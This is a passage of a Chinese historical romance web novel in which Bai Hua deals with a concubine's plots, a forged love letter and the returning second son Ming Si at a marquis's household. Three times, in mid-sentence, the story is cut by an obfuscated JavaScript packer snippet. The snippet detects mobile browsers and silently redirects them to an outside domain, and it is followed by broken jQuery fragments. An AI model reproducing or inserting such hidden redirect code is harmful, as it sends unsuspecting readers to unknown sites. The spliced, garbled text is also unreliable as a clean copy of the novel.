善柔长公主笑笑，又往薛芳漪看了眼，“芳漪这孩子打小心气高，也没什么朋友，难得见她如此上心，好孩子。” 赴宴的贵眷小姐们都是人精，看得懂长公主的心意，一人一嘴附和。 “青丘山不罕见，罕见的是此等创力，小小年纪，不可限量。” “颜色用得也好，挺有巧思。” “是，秋将军的独女，果然色艺双绝。” “听说还是和明府大公子指腹为婚……” 不知是谁顺嘴一句，说到一半卡住，恨不能咬掉自己的舌头。要是冲撞了长公主宴会闹起来，怕是要得罪人。 但来不及，这么些人已经全听到了。 白婳：“……” 二公子和白婳的事情传得最为沸沸扬扬那年，善柔长公主身体抱恙，在南边休养生息，回来后对此事或许也零星听过一耳朵，但小辈们的事不值得长公主挂心，她一时间没想起来也没对上号。 即便如此，也还是不难看出宾客小姐们那些微妙暧昧的神情。 长公主轻轻蹙眉，正要说什么，院外管事又来传话：“清远侯府大夫人在外头候着，想求见长公主一面。” 众人的神情愈发微妙。 下了拜帖的宾客，直接进来便是，何需求见。 没请她，却擅自上门，有失风度。 长公主问：“可有说是何事求见？” 管家道：“带了贺礼，只说来拜会。” 长公主的驸马与明府有些往来，但交情不深，她与侯夫人并不相识，猜不出来意。 长公主：“……来者是客，请进来吧。” 没多久，管事便领着侯夫人进来了。 她穿了件松石绿的锦袍，花纹素雅，发髻上是同色的翡翠首饰。 仪态端庄典雅，眼睛悄悄往人群扫过去，像是在找人。 白婳与侯夫人对上视线的那一瞬间明白过来。 只怕是家里得了消息，知道二公子也来此赴宴，担心出事，侯夫人才慌慌张张赶来，连体面都顾不上。 见着人了，侯夫人快跳出来的心才重新吞回肚里，上前与长公主见礼：“……正好在附近上香，听闻长公主在此设宴，不请自来，还望长公主勿怪。” 善柔长公主笑笑：“夫人哪的话。咱们两家也是有些渊源往来，该是本宫疏忽，未给侯夫人下帖，下月本宫寿辰，设宴做东，侯夫人可要赏脸。” 宴会结束后，长公主邀请宾客们留宿一晚。 青屏山庄地方大，厢房也多，松松散散住着，很是惬意。 侯夫人带了白婳明肆先行告辞了。 马车很宽敞，侯夫人坐正中，两个孩子东西分席而坐。 “都到京城脚下了，全家设宴等你，你自己跑这里来做什么？”侯夫人明显有些气不顺。 明肆长高了不少，坐下后膝盖快要抵到中间的食几。他坐姿松散，对面的白婳垂着眸，仪态规矩。 “我差人传信了，没收到消息？”明肆说。 侯夫人：“我问的是你突然折道往这边来做什么？你也不认识长公主。” 母子讲话，问的还是这般敏感的话题，白婳没出声。 二公子神态有些懒散：“不是在家中设宴，那您老人家跑这来做什么了？我好歹有请帖，不是通传叫人领进来的。” 侯夫人一跺脚：“死小子，是我在问你话。” “您自己防贼一样，冒冒失失来了，不知道的以为家里着火了。”明肆说话的腔调一直没变，还和从前一样，谁的面都不给。 白婳悄悄看他一眼，明肆立马回视过来。 那双眼珠黑沉沉的，白婳没料到他这般敏锐，闪躲不及，被抓个正着。 她低眸回避。 侯夫人被他噎了一句，想骂他，但也知道今日做法不妥，若非柳姨娘跑来添油加醋的说道，二公子人还没回京就急匆匆追着白婳去了，躲都没地方躲，长公主的宴会，多少京都名流，当年的事情好不容易才揭过去，少有行差踏错，就被被人翻出来念叨。 老二这次回来，可还要考功名。 她是关心则乱。 不信儿子为人，被那不安好心的贱人找着机会给撺掇了，才会这般急匆匆的扑过来。 赴宴的都是人精，她这一趟是为了点什么，怎会看不出点猫腻，当面不说，背地里也会嚼舌根。 侯夫人有些失悔，冲动了。 “我也是一时情急。你要是懂事，就别叫当娘的老跟着你操心。”她叹了口气，事已至此，多想无用。 又扫了眼这左右两个孩子，拉了白婳的手：“你们也许久未见了，我和侯爷商量过了，白婳和你大哥的婚事，叫钦天监帮忙择个好日子下聘。此番你回京，不会错过他们大婚。” 白婳低头一笑。 明肆面无表情，淡道：“老大对她不是男女之情。” 侯夫人脸色都气变了：“你这说的什么话。” 明肆：“实话，您不爱听。” 死气沉沉，回去的一路上都没怎么再有人说话。 马车到侯府时月亮都出来了。 天色晚了，也不可能再敲锣打鼓的把家里人叫出来接风，侯夫人便叫各自回去歇着，什么事情明日再说。 几人从马车上下来，白婳眼尖瞧见柱子后面躲了个丫鬟，天色暗，看不清样貌，也不知哪个院里的。 侯夫人也看到了，那丫头掉头就跑，明显就是受了谁的吩咐等在这看热闹回去回话的。 至于是谁，不言而喻。 “这些个下人愈发的没规矩！”侯夫人想起柳姨娘就生气，对身边心腹婆子吩咐：“带两个护卫去把那丫头捉回来，我看看谁这么大胆子吃里爬外。” 明肆对家里后院这些事情兴趣缺缺，长腿几步就迈进去，走路跟风一样，往自己院子去了。 白婳往葳蕤院去，路过大公子院外的时候，瞧见里头书房灯还亮着。 她远远瞧着，想着进去跟他说会话，结果快到门口，灯又熄了。 白婳不想打扰大公子休息，便走了。 海棠不放心，在内院门口来接她。 “姑娘，没出什么事吧？”她瞧着白婳的脸色，像是还好，“听说二公子胆大包天往长公主的席面堵你去了。” 白婳蹙眉：“谁这么传的？居心叵测。” 怪不得侯夫人会慌慌张张赶过去。 但二公子的行程照说他自己才知道，能让临时改道，柳姨娘没有这通天的本事。 “奴婢打听过了，原本是二公子身边的丁昭回来传的口信，柳姨娘正好给碰上了，早上大夫人在元佛寺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694670|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请香，柳姨娘赶去传的信。”海棠说着，“姑娘，她没安好心。” 白婳冷笑：“大公子深居简出不与他们争抢，这些年三公子过得已经比嫡子还要风光了。她太贪心。” 柳姨娘是最不愿意二公子回来的，最好是能叫他犯个大错永远翻不了身，最好上手利用的，就是白婳跟他的那些纠葛。 搞不好还能一石二鸟，搅黄了她与大公子的婚事，叫侯夫人两个儿子相斗，鸡飞狗跳。 她跟她那混账儿子坐收渔翁之利。 要是两个嫡子都不得侯爷心，指不定，她还做了明晏能袭爵的春秋梦。 海棠愤愤道：“也不怕真闹出了事，侯夫人抽她的嘴巴子。” “几个巴掌，以小博大，她赚死了。”白婳神色很淡，“只要没能直接要了她的命，还能去侯爷跟前卖惨装哭，说自己只是好心。” 她有些头疼。 她与柳姨娘素来没什么交集，但对方的算盘若打得这么响，恐怕会频繁出阴招。 “往后要多注意些。”白婳提醒海棠。 这日回去后，白婳早早睡了，第二日晨起，却仍是精神不佳。 海棠端水进来给她梳洗时候都发现了，“姑娘没睡好？” “做了好些梦。”白婳摇头，看着镜中模样，“拿胭脂遮一遮，一会去老夫人那，还是叫长辈瞧着精神些才好。” 她底子好，又是女子颜色最好的年纪，略施粉黛，便瞧着十分俏丽。 白婳穿了件珍珠白的绫裙，上以银线绣着海棠花，银灰的上襦，外头一件轻便的缂丝斗篷，素雅又贵气。 早晨出了太阳，她往老夫人的松涛院去。 白婳每月逢十会去陪老夫人半日，陪着说说话晒晒太阳，时辰便正好一道用早膳。 不成想，屋里有人比她早到。 明肆穿了身青色锦袍，腕口束紧，是习武之人惯有的干练。 这颜色穿在旁人身上显得儒雅，多少沾些书卷气，换了他，也不知是款式问题还是他的身量气质使然，显得灵动矫捷，就这么看上一眼，都能知道身手必定不俗。 他和老夫人中间只隔了一张小几，一只手肘撑着，身子微微倾过去，听老人说话。 老夫人上了年纪，偶尔会犯些糊涂，但对这多年未见的孙子，倒也没有生疏。 不知说到了些什么好玩的，明肆唇边也跟着笑了笑。 他样貌其实生得极好，五官标志，骨相立体。 只是这种长相，再加上肩宽个高，肤色偏深，不作表情时有些显凶。 能吓得住顽童的那种。 “……我们家大孙子啊，和白丫头，”老夫人悄悄对明肆讲，一边睁大眼摇头，“没有情谊，我不看好。” 明肆笑了：“祖母所言极是。” 从前如何暂不追究，但从明疏摔了腿之后，变的不止时他的性情，还包括对白婳的感情性质。 连祖母都能看出，偏外头那些人，要掩耳盗铃。 老夫人又看了他一眼，“白丫头对你，也没有情谊，我不看好。” 明肆：“……” 老夫人认认真真深思熟虑一番，也不知是真在思考什么大事，还是皱着眉眼发呆。 然后她拍了拍明肆的手：“你要努力。” 白婳不知道老夫人跟明肆说了什么，只看见他在笑，然后不知有心还是无意，忽然一眼往这边扫过来。 白婳吃了一惊，赶紧往后门框后一缩。 5. 接风 他在里面的话，她并不想进去。 身后还站着海棠和松涛院的一个小丫鬟，她摆了摆手，示意二人轻轻退出去，她晚些再来。 结果拐过一道弯，门墙冷不防出来个人，吓得白婳后退一大步。 老夫人的松涛院里有不少月洞门和梅花窗，墙都不太高，明肆仗着个高身手好，两步助跑就能连翻两道院墙，落地尚且轻巧，没事人一样路过白婳跟前。 白婳难得失态，掩饰不住惊诧，眼神飘忽往里面看。刚才还在屋里的人，眨个眼竟然越过她去。 那院墙虽不算太高，可少说也有个七八尺。 “二公子。”她勉强定了定心神。 明肆应了声，黑眸睨着她，没什么多余的表情，声音显得有些寡淡：“这是来看祖母？怎么没进去。” 白婳刚来他就知道了，装着样子等了半晌，结果把人等走了。 “落了东西，取了再来。”白婳垂眸，只看他衣裳上的绣纹。 走道不怎么宽敞，天光穿透梅花窗，影影绰绰的。白婳定定站着，余光打量一眼。 她想越过去的话，要从二公子身边挤过，有失体统。 明肆也没点破，点头道：“你自便，我还有事，先走了。” 言罢，他若无其事从另一头走了。 干脆利落。 若非白婳刚才在屋里看见他了，会以为他真的只是路过。 二公子的接风宴推迟了一日，傍晚时分，府中的下人们往花厅忙忙碌碌。 老夫人坐在首座，明忠海和明忠泉两兄弟带着各自的夫人陪坐。 还有一个女儿明禧容，嫁给了安陌郡王，此番夫家事忙没赶上归宁，差人送了贺礼回来。 比起汴京其他贵胄府邸动辄十数个孩子，明府的子嗣可谓稀少。 大房只有明夫人膝下两个嫡子，再加上柳姨娘院里一个庶子； 二房老爷的生母在生产时就过世了，一直是在老夫人膝下养大的；他只娶了一房正妻，夫人生了两个女儿，大的今年十三，叫明毓；小的才七岁，叫明婉。 而三公子前些日子犯错挨罚，明忠海的气头还没过去，没让来跟前晃。 老夫人头发花白，带了条镶金嵌红宝石的抹额，满眼笑意，看起来慈祥又喜庆。 里头正说着话，管家带人将门槛下了。 阿吉推着明疏进来，白婳跟在身侧照应着。 大公子伤了腿后便鲜少在人前露脸，他一出现，明毓明婉两个堂妹都忍不住悄悄偷看他。 当年明肆在围猎场摔了腿，宫里头将事情按了下来。 当时明忠海正值升迁紧要关头，得了暗示，明家息事宁人，接受了对方的歉意和补偿，并未闹着去讨要说法。 这么多年过去，对于这个大儿子，明忠海心中多少有些亏欠。 但这种亏欠却矛盾又复杂。 每次看到明疏的腿，他便觉得，好像自己的功名是靠儿子的牺牲换来的。 所以后来他从未主动踏足清霜院一步。 微妙的父子情，在一年年的时间里，几乎要消耗殆尽。 明忠海盯了半晌，只说了句：“小疏也来了。” 侯夫人：“官人这说的什么话，家宴自是阖家团圆，给老二接风，当大哥的当然要来。” 她在为大儿子鸣不平。 明明是自己家里，却被父亲说得好像是外客。 柳姨娘细声细气接道：“姐姐别恼，侯爷是武将，不会说话，他不是这个意思。” 她之前使坏的侯夫人还在气头上，没找着机会发作：“主人家说话，有你插嘴的份，我儿子来是正当名分，你一个做妾的能来吃口饭便安生些吧。” 柳姨娘一愣，“妾身，妾身只是好意，怕姐姐误会侯爷……” 白婳看了眼明忠海的神色，约莫今日是看大公子在，他没多说什么，只朝柳姨娘递了个眼神示意安静。 明疏本人却好像并不在意，他唇角淡笑，几乎不带任何情绪，只有疏离的礼貌：“平日里喜欢安静，一个人待久了，偶尔也还是想热闹热闹。二弟回来是喜事，我来晚了。” 话音刚落，更晚的二公子才姗姗来迟。 他一进来，满屋子人都齐刷刷看过去。 明肆换了件衣裳，锦灰的缎带常服，早上看着灵动，这会瞧着，贵气中竟带了几分稳重。 在场众人心思各异。 老二出去一趟，确实变了许多，从前锋芒毕露，行事乖张高调；年岁长上来之后，倒像是宝剑磨砺出了剑鞘，轻易不会叫人看穿心思。 侯夫人都还没讲话，柳姨娘往明忠海的方向说：“二公子真是气宇轩昂，越发俊俏了。” 她一开口侯夫人便邪火一冒，却没赶上儿子的嘴快：“跟你不相干，少点评。” 明肆一边拉开椅子坐下，一气呵成。 柳姨娘不跟他计较，浅浅一笑，心中自有成算。 倒是明忠海微微蹙眉冷哼：“出去一趟，指望你能有所长进，你娘还说你懂事许多，结果还是这副臭脾气。” 明肆：“有其父必有其子，我随了谁的臭脾气显而易见，你这把年纪了都没改过来，就别指望我两三年脱胎换骨了。” 气氛一凝，白婳悄悄抬眼。 明忠海竟没发火，不知是意外被戳中了哪里，只笑骂他：“混小子，比老子当年还气壮三分。” 侯夫人快跳出来的那颗心才终于又咽回了肚子里，跟着说了句：“咱们家的几个孩子里，老二是最像侯爷的。” 白婳观场，却在视线扫过二公子时，又被他回视过来。 她急忙垂下视线。又觉得反应太大，正常都显得像心虚。 然后她重新掀起眼皮，发现明肆还在看她。 那双眼珠黑沉沉的，被盯上一眼很有分量，白婳有些打鼓，稳着心神给自己找些事做，习惯性往大公子手边布菜。 明疏看了一眼，也动筷给她夹了些爱吃的菜式。 外人看来，便是一副和睦温馨，相敬如宾的画面。 白婳有些惊喜，也有些意外。 大公子已经很多年没在人前做出这般照顾她的举动了。 他今天是来给她撑腰的。 白婳心底游过一道暖流，看着明疏的侧脸，忽然觉得十分安心。 二公子面无表情，神色淡淡别开眼，看不出情绪。 席间，大公子甚至还主动找话题和他寒暄了几句。 兄弟二人三年未见，聊起来也都是些皮毛，何况明肆不想闲聊，话头很快便掐断了。 又过了一会，老夫人吃得差不多，左看看，右看看，不甚满意摇摇头：“……咱们家的子嗣啊，太少了，没几个人。” 她看起来很是苦恼的样子，不知在想些什么，“得尽早开枝散叶，才是正经事。” 明忠海放下筷子：“母亲教训的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694671|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 侯夫人道：“儿媳已经和侯爷商量过了，小疏和白婳的婚事，择个好日子，便定下来了。咱们府里也是许久没有好好热闹一番，这事尽早。” 柳姨娘笑笑：“二公子也老大不小了，大夫人可不好偏心，也要一起给挑挑合适的姑娘才是。” 侯夫人脸色都变了，像是当众被人揭了短，想骂这贱人居心叵测，又担心说多了刺激明肆，闹起来难看，一时间竟是给噎住了。 二房的夫妇两个小心瞧了眼明肆的表情，以为这混不吝大约要摔筷子发难，结果他反应平平。 “我三年没回来，你内宅给姨娘当家了？”明肆有些鄙夷，甚至没稀得看那柳姨娘一眼，只问明忠海。 看多了给她脸，与她口舌纠缠，更是自降身份。 “……”明忠海也有些不满柳姨娘失言，这话听着就是挑事，他不聋。 但他是当爹的，不是当孙子的，不能在饭桌上叫儿子质问，还顺着他的话往下。 沉声道：“你也确实到年纪该娶妻了，等办完了你大哥和白婳的事，也该给你好好说个媳妇，管管你这混不吝的臭脾气。你去昆山三年，就没有遇见哪位中意的姑娘？” 昆山书院隔壁山头便是‘天下才女尽出于此’的浙东女学。 若不是因为山高水远舍不得女儿，京中应该有不少达官显贵很是中意那座女学。 “我是去读书的，你指望我带个外室还是姨娘回来？”明肆皱着眉，有嫌弃的意思。 柳姨娘脸上有些挂不住笑了。 他又补了句：“谁家有廉耻的姑娘给人做妾，父母之命媒妁之言全无，以后下去了见了列祖列宗都嫌丢人。” 柳姨娘一怔，双眼含泪委屈叫：“……侯爷，他！” “好了，都闭嘴。”明忠海拍了筷子。 他也烦得很。朝堂上站队说话明枪暗箭，稍有不慎还被御史台参奏弹劾，回了家也没个安生，一桌子吵吵嚷嚷，没一个省心。 眼看着明忠海要发火，桌子上这才安静下来老实吃饭。 用过饭后，一家人围在花厅陪老夫人说会话。 柳姨娘被二公子骂了个狗血淋头，许是情绪不佳，饭后便借口身体不适先回去歇着了，侯夫人巴不得她赶紧滚，允了。 坐定后，丫鬟们端来一些桂圆蜜饯，甜而不腻，用来下茶正好。 一个丫鬟经过白婳身边的时候也不知怎么么滑了一脚，半条胳膊往她身上偏了下，不轻不重，白婳反应快扶了一把，叫她站稳了。 “做事毛手毛脚的，下去领罚。”侯夫人也看见了，有些不悦。 又问白婳：“糖渍可有沾到身上？” “不曾。”白婳摇头，看那丫鬟一眼，只见她埋着脸，许是犯了错慌里慌张的，应了声是便匆忙退下了。 老夫人上了年纪后就经常怀念从前，儿子媳妇都在讲些孩子们的趣事，比起刚才饭桌上的压抑，算是相谈甚欢。 白婳坐在大公子身边，大部分时候只安静听着，偶尔跟着笑笑，很是得体。 期间二公子身边伺候的丁昭被谁叫出去了一趟。 回来时白婳余光下意识看了眼，却发现丁昭跟他主子一样机敏，也往她的方向瞥了眼。 白婳是无心之举，丁昭的眼神也很快，但这一个碰撞，她却觉得有点深意。 丁昭回到二公子身边，附耳小声对他说着什么，然后明肆也抬眸看她一眼。 6. 情书 白婳心里机警起来，奈何耳朵却一点也听不见他们说什么。 这个时候她莫名回想起刚才的丫鬟。 如果糖渍沾到她身上，便要去内室换衣裳。 其实只差一点，是她反应灵敏，给扶住了。 以前在书学的时候，二公子很喜欢捉弄她，也使过类似的小伎俩。 那时候夏天闷热，他们在荫凉的池塘边戏水摸鱼。 池塘波光粼粼的，清澈见底，从旁经过都能有丝丝凉气。 白婳也热，但女子规矩严，她也做不出来这等踩水胡闹的事情来。 她不过往下多看了两眼，二公子徒手抓着一只活蹦乱跳的大虾，问她要不要下来，水浅，不会摔。 白婳拒了他，正要走，就被他故意泼湿了鞋袜。 “你这是作甚！”受了欺负的小姑娘又惊又气，新做的绣鞋上落了水印，里头的袜子都湿了。 “来啊，反正鞋都湿了，凉快得很。”二公子哈哈一笑，眼底都是笑纹。白婳只有表面那一层是装出来的乖巧，稍微一逗就全是娇憨，生起气来可有意思。 后来她去内室换鞋，丫鬟送来的新鞋又被明肆给顺走了。 白婳在屋里左等又等，最后等来纨绔二少爷左手抄着鞋，右手举着刚烤好的虾，说不吃完就不给她鞋穿。 烤得外焦里嫩的一串大虾，被他胁迫的像在喂毒药。 许多小事情白婳已经记不清了。 她只记得二公子很幼稚。 现如今大家都已成年，明肆在外面度过了男子变化最大的三年。 单从外表看起来，他变化很大，仿佛从青涩到青年，不像是会再做这种龃龉之事。 但具体心性变化如何，也不好说。 白婳有些苦恼，觉得不能再多想。 未有定论的事，想也白想。 老夫人今日高兴，说了许多话，这会精神不济犯了困，大家伙便都散了，各自告退回了院子。 白婳出了花厅，才发觉身上的穗子不见了。 那穗子上系了玉坠，绳结是她自己打的，比较有特点，平日里总带着，虽不算多贵重，但大小算是个随身携带的物件。 “怎么，是丢了东西？”明疏问。 白婳点头：“经常带的那条穗子丢了，许是落在了花厅，我一会让海棠回去找找。” “让阿吉跟海棠一起吧，两个人仔细些。”明疏顿了顿，又道：“若实在找不到，就往外传说东西丢了，毕竟到底是你贴身带着的物件。” 白婳心中一暖：“我也是这么打算的。” 阿吉带着海棠去了，白婳慢慢推着明疏的轮椅，先将他送回清霜院休息。 翌日，白婳像往常一样往点翠阁去。 那是一处外书房，明家祖父过世后便闲置了，里头存有老人家许多墨宝，还有极宽敞的书台画架。 明府这一辈的孩子们都不善丹青，除了白婳，鲜少有人踏足此处。 所以她进门时候没想到里面有人，还在转头跟海棠说话，都快走到屋子中间，才冷不防看见画架前的明肆。 多少吓了一跳。 他正抱臂端详着那还未完成的半幅画作，偏头看她一眼，眸色很静，倒衬得白婳反应过大。 “我长得很像鬼？”明肆问。 “……平时里头都没人。”白婳摇头，吓退的那半步也没再走回来，整了整衣摆，才道：“二公子怎有雅兴在此。” 明肆：“地上没钱。” “……”白婳稍稍抬眸，视线比方才高了些。 “我领子上也没有。”他又说。 她并未跟他对视，只笑笑敷衍过去：“这里原本是老爷子的地方，里头房间挂了不少画作，二公子有兴趣可以慢慢看看。我就不打搅了。” 这种封闭的环境里，海棠等同于不存在，孤男寡女叫人看见还不知道要如何谣传，她着急想走。 刚一转身，后头一个什么东西抛过来，从眼前落向胸口，白婳正好接住。 是她昨日丢了的穗子。 昨日海棠和阿吉回去将花厅翻遍都没找到，她就猜到多半被人捡走了。 “昨日有个丫鬟自称是你院里的，把此物连带一封信塞给了丁昭，托他转交给我，说是今晨在此互诉衷肠。”明肆仿佛不担心她会走，眼睛在画纸上游走，很感兴趣的样子，说话只是顺带。 “不是我的人！”白婳转身。 他今日穿的颜色深，肩宽背阔，回视过来那一眼，有些压迫感。 平静，坦荡，睿智。 就那么一眼，白婳忽然觉得，自己那些多余的担忧，可能有些自作多情了。 他可是侯府嫡子。 小时候算作贪玩，但三年过去，气韵打磨沉淀，没道理是个耽于私情的酒囊饭袋。 大公子失志，庶子虎视眈眈想要夺爵。 明肆但凡有些脑子，都不至于在这个时候胡来，被人揪住错处借题发挥。 ‘或许他比我更加想保持距离，不要搅进浑水里。’白婳想。 “我的穗子昨日花厅出来就丢了，应是有心人为之。”她看着他说，“二公子，你不该来的。” “不来怎么还给你，你见了我跟兔子见了鹰的。”明肆还有心情开玩笑。 他只随口说说，并没有真的笑出来。 白婳一窒，接不上话。 她顿了片刻，明肆就双手撑着膝盖，凑近了仔细去看那画面上的笔锋，“这还要多久完工？” 似乎真的很感兴趣。 “一两个时辰吧。”白婳站在那没动，想向他讨要那封信：“那封信……” “洋洋洒洒几百字，言辞恳切，全是你写给我的情书。你要看？”明肆睨她一眼。 “……那不是我写的，二公子慎言。”白婳蹙眉。 明肆扯了扯唇角，说得云淡风轻，“还知道仿你字迹，可惜学不到精髓，字太丑。” 白婳忽然反应过来，他特意走这一趟，是提醒她身边人不干净。 “御下要严。”他说。 “受教。”白婳是个明白人，正经事上不会意气用事跟他唱反调。 认真点头的模样，看起来有些乖巧。 明肆心底被根羽毛搔了又搔。 他很自然想起来从前每每逗她，炸起毛来的猫儿模样。她面皮薄，且白，稍一激动，脸便飞红霞，再一本正经与他对峙理论。 但那副娇俏的模样，谁听得进去她在说什么。 又过了几日，薛芳漪寻了个借口，来看望白婳。 “……他贼心不死！我实在放心不下，这几日如何了？”薛芳漪对明肆一直没什么好印象。 “都好，相安无事。”白婳拍了拍她的手，将这两日发生的事情一并与她说了。 “母亲对待家中仆从不算严苛，本是善意，不想反叫人钻了空子，还不知藏了多少白眼狼。我后来专程去花厅，找出了偷我穗子的那个丫头，才十四岁，好糊弄又不知轻重的年纪。起初还想赖着不认，但胆小，不经吓，我拿了她的身契，她就老实了。” 薛芳漪：“可有供出幕后指使？” 白婳摇头：“她的任务只是借机撒糖弄脏我的衣裳，再顺走我的络子，其他的便一概不知了。这点证词不够看，姨娘院子只需说她偷东西还敢攀咬栽赃妄图脱罪，闹不起来。不如留着给我报信，我给了她二两银子，再捏着她的卖身契，告诉她不听话就将她家法处置发卖给人牙子。” “珍珠，一个棒子一个枣，这套算是给你玩明白了。”薛芳漪笑笑，“也亏得是你过目不忘，那么些普脸的丫鬟，她心虚必定埋着头，饶是这样，你竟还能将人揪出来。” 笑过后她又慎重起来：“但最要紧的还是你身边藏着的人，可有眉目？” “除了信得过的心腹，也就只剩两个粗使丫鬟了，大约是偷了我练习的字帖，回去依样画瓢写的。”白婳淡淡说，“我已将人换了，日后主屋，不让她们进。” 薛芳漪想想还是有些气恼：“你们府上那个姨娘，不是个好东西。阖府上下都盼着那纨裤子能安生，只她在里头捣鬼撺掇。这么些年，侯夫人也不管管？” 如何不想管，侯夫人恨不得能将她连带着三公子一起发卖了。 但这后院里翻不出太大的浪，每次都是轻轻揭过。 白婳只能摇头，“侯爷偏心，轻易动她不得。” 她回想起点翠阁里的情形，又道：“好在二公子这几年，还是有些变化，否则我要焦头烂额。” “……你莫被他装模做样给骗了！”薛芳漪说，“那日长公主丹青宴上我瞧得清清楚楚，他看你的眼神，决计算不得清白。” 茶楼里，燕世子一边把玩着明肆的折扇，一边幸灾乐祸揶揄。 “……那日薛芳漪看你的眼神，还是那么凶悍，刀子似的。” 他总是这样，讲完了正事，总要唠上几句闲话。 “话说，你俩什么过节？她为何一直看你不顺眼？诶对了，我还没问呢，你回来也有几日了，和白婳妹妹相处如何？” 他笑得贱嗖嗖，想一出是一出胡扯：“需要帮忙知会一声，兄弟想想办法帮你牵线啊。” 明肆在写字，一个眼神都没理他，燕世子甩着折扇上的络子，悠哉游哉的，没人接话自己也能接着叭叭。 “你小子这回院试夺魁，也算狠狠显摆了一把，虽然还未正式科考，但三甲应该问题不大。诶，偷偷跟我说说，京里那些，除了九殿下，还有人找你没？” 昆山书院的院试是联合诸多学府联考的，历年院试榜一者，登科鼎甲的可能性非常大。 且明肆的情况特殊。 他的骑射兵法，乃至于拳脚功夫，都极好。 文武登科的可能性都大，只看他如何选。 如今京中夺嫡之风已起，如此年轻有为的，说是各大势力争相拉拢的香饽饽也不为过。 “旁的都不算，只他最难缠。”明肆冷淡说。 看他神情，燕世子也收起了玩笑，难得几分认真：“那一位心胸狭隘，你就算不交好，也万不可把人得罪了，还是要小心对待，小人难缠。” 九殿下乃中宫皇后膝下独子，娇生惯养，养出了一副嚣张跋扈的狠辣性子。 而且当年的围猎场上，明家大公子落下终身残疾，便是拜那九殿下一手所赐。 燕世子的担心不无道理。 过了晌午，天色开始阴雷滚滚。 秋雨细密下着，凉意一潮盖过一潮。 这厢明肆刚从茶楼回来，管家早已在门口等候多时，迎上来说家里来了贵客，得去正厅见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694672|173396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一见。 明肆拧眉：“什么贵客？” 管家道：“小人眼拙不识，只侯爷叫赶紧将二公子找回来，若您再不回，便要出去寻您了。” 明肆面无表情睨他一眼。 正厅里，丫鬟给九殿下添了茶，明忠海在一旁作陪。 明肆进来，二人都抬头看过来。 他不撑伞，身上沾了雨水的潮气，连发梢都是湿的。 明忠海一句话噎在嗓子里，“……还不去换了衣服再来见客，真失礼。” 又转头对上座的九殿下解释：“叫殿下看笑话了，犬子礼数不周，还望海涵。” “无妨，年轻人身子健朗，自是不畏寒。” 九殿下年纪与明肆相仿，但说话老成，他穿一身玄色九蟒袍，眼神似笑非笑落在明肆身上。 靖王也是皇子，但没资格穿九蟒袍。 那是太子服制。 但当朝储君并未议定，也不知他是已得圣意裁决只等吉日下旨，在提前招摇过市；还是真的嚣张狂妄至此。 这种事，连日日上朝的明忠海都摸不着门道，更别说还未入仕的明肆。 “二公子事忙，请了多次请不着，只好本宫亲自登门拜会。”九殿下轻轻一叹，没有责怪，但眼底笑意不多。 明肆进门起便一动不动，此刻才揖手见礼：“见过九殿下。” 九殿下并无要事登门，不过是捉不到明肆的人，才特意上门来逮的。 明肆也没想到，他会做到这般。 九殿下又跟明忠海闲聊了一会，露够了脸表了态，才回宫去了。 临走前他拍了拍明肆的肩，“年少有为，本宫十分看好你。等你科举夺魁，大放异彩。” 明肆不卑不亢：“未知之事，不敢妄言。” 九殿下只笑笑，婢女帮他撑伞，走了。 外头的雨越下越大，还起了风，刮进屋檐好些。 明忠海一改刚才的笑脸，噔噔两步上前，面容端肃教训他：“你怎的还掺和上夺嫡的事了？才刚回来，不明白朝中局势，少跟着瞎站队，当心怎么死的都不知道。” 他想说，那是条毒蛇。 明肆轻嘲：“谁有你会站队。” 明大公子的两条腿，他们明家早就在明忠海的带领下向九殿下卖过面子了。 明忠海：“……总之，你少掺和这些事，好好读书，考取功名傍身要紧，听到没？” “关我屁事。”明肆转身走了。 雨珠打在枝叶上，又落在泥坑里，声似油锅沸腾煎熬。 整个侯府都沉浸在烟雨朦胧间，白婳路过廊下，远远眺望到九殿下从正厅出来的背影。 ——他竟还有脸踏足明府。 白婳看得出神，心里沉闷的情绪，像这场雨。 她去了趟清霜院，原本是专程去给大公子送梨汤的。 结果在门口却停住了。 在那之后，无人敢在大公子面前提起九殿下，连这个数字都避讳。 每每明疏的情绪低落，白婳都会跟着一起，十倍百倍的煎熬。 那日三公子专挑着她的痛处讲，他是不怀好意，故意要在她心里扎根刺，白婳明白。 虽然明疏从来没有怪过她。可这些年夜深人静的时候，白婳也悄悄痛哭过许多次，源于自责。 她一动不动站在那，心中到底有些忐忑。 “姑娘……”海棠给她撑着伞。 “走吧。”白婳深吸口气。 大公子受伤后就格外畏寒些，清霜院中暖炉早早就烧起来了，屋子里暖烘烘的。 